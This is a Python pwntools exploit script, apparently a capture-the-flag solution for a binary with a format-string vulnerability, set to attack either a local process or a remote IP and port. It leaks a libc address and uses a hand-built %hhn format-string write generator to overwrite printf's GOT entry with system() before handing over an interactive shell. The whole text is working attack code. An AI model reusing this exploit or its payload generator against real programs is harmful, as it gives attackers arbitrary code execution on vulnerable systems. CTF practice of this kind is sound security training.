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from pwn import *
local = 1
host = '183.129.189.60'
port = 10043
context.log_level = 'debug'
exe = './5c149c66064fa'
context.binary = exe
elf = ELF(exe)
libc = elf.libc
if local:
io = process(exe)
else:
io = remote(host,port)
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))
def getAddr(write):
xor = 0xff
addr = []
for i in range(6):
result = (xor & write) >> (i * 8)
if result != 0:
addr.append(result)
xor = xor * 0x100
return addr
def Partion(write, bewrite):
addr = getAddr(write)
part = []
for i in range(len(addr)):
part.append( (addr[i], p64(bewrite+i)) )
part.sort(key=lambda tup: tup[0])
return part
def sizeUp(part):
size = []
for i in range(len(part)):
size.append(part[i][0])
return size
def packAddr(part):
addr =''.join(x[1] for x in part)
address = ''.join(addr)
return address
def offsetDeal(size):
length = 12 * len(size)
if length % 8 != 0:
offset = length / 8 + 1
else:
offset = length / 8
length = offset * 8
offset += 6
return offset, length
def payloadGenerate(size, offset):
payload = "%{}c%{}$hhn".format(size[0], offset)
for i in range(1, len(size)):
payload += "%{}c%{}$hhn".format(size[i]-size[i-1],offset+i)
return payload
def fmt_payload(bewrite, write, offset=0):
part = Partion(write, bewrite)
size = sizeUp(part)
address = packAddr(part)
result = offsetDeal(size)
if offset == 0:
offset = result[0]
length = result[1]
print 'offset is:' + str(offset)
payload = payloadGenerate(size, offset)
payload = payload.ljust(length, 'a')
payload += address
return payload
def exp():
sl("%2$llx")
libc.address = int(r(12),16) - 0x1bc590
lg("libc_addr", libc.address)
printf_got = elf.got['printf']
system_addr = libc.symbols['system']
payload = fmt_payload(printf_got, system_addr, 17)
"""
gdb.attach(io,'''
b printf
c
''')
"""
sl(payload)
if __name__ == '__main__':
exp()
io.interactive()
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